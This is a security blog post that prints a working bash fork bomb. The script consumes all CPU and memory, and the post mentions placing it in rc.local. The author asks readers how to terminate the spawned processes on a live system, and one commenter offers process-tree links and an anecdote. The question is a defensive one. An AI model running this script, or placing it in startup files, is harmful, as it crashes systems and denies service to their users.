Andronicus

Security Projects, Research, and Linux

Defend Against This

2019-06-14 Bash Script 2 Comments

While certainly not a new concept, I was thinking about the “Fork Bomb.”  There are quite a few examples of doing this in different languages.  This one takes all the CPUs to 100% and will essentially run the system out of memory:

#!/bin/bash

STR="#"
while true ; do
  for i in {1..10}; do
    STR="${STR}${STR}"
  done
  nohup $0 & > /dev/null 2>&1
done

If someone put something like this into an rc.local or similar startup script, what could you do to defend against it?  Now, I know how you can remove it and reboot.  I’m asking if anyone knows how you would terminate all the processes it spawns and restore a running system back to order.

 

bashdefensefork bomb

Pre-computed Hash Table, v. 1.0

Data Breaches and You

2 thoughts on “Defend Against This”
  1. ann_on
    2019-06-18 at 4:16 pm

    https://unix.stackexchange.com/questions/264522/how-can-i-show-a-terminal-shells-process-tree-including-children
    which references bunch of better answers with unix shell scripts
    https://superuser.com/questions/363169/ps-how-can-i-recursively-get-all-child-process-for-a-given-pid/822450#822450
    A couple of decades ago, someone did something similar on a development server then went home. I had to find the sysadmin who was able to kill programs running in other user ids. The system slowed down enough that new processes were not being created very fast. The sysadmin was able to kill them all with a very basic script being run a couple of times.

    Reply
    • Andronicus
      2019-06-18 at 4:54 pm

      That looks like an interesting approach to solving that problem. Thanks for stopping by!

      Reply
Leave a Reply Cancel reply

Solve : *
16 − 1 =


Recent Posts
  • Guide to SSH Lockdown
  • DefCon Resources
  • Automate Patching/Rolling Reboot
  • Data Breaches and You
  • Defend Against This
Recent Comments
  • Paul Arrigo on The Easiest Metasploit Guide You’ll Ever Read
  • Mirek on The Easiest Metasploit Guide You’ll Ever Read
  • Andronicus on Defend Against This
  • ann_on on Defend Against This
  • Andronicus on The Easiest Metasploit Guide You’ll Ever Read
Archives
  • April 2020
  • June 2019
  • May 2019
  • June 2018
  • April 2018
  • March 2018
  • February 2018
  • January 2018
Categories
  • Authentication Factors
  • Bash Script
  • Capture the Flag
  • Ciphertext Analysis
  • Credential Research
  • DefCon
  • How-To
  • Metasploit
  • News
  • Pros vs Joes
  • Security
  • ssh
Meta
  • Log in
  • Entries feed
  • Comments feed
  • WordPress.org
Proudly powered by WordPress | Theme: Doo by ThemeVS.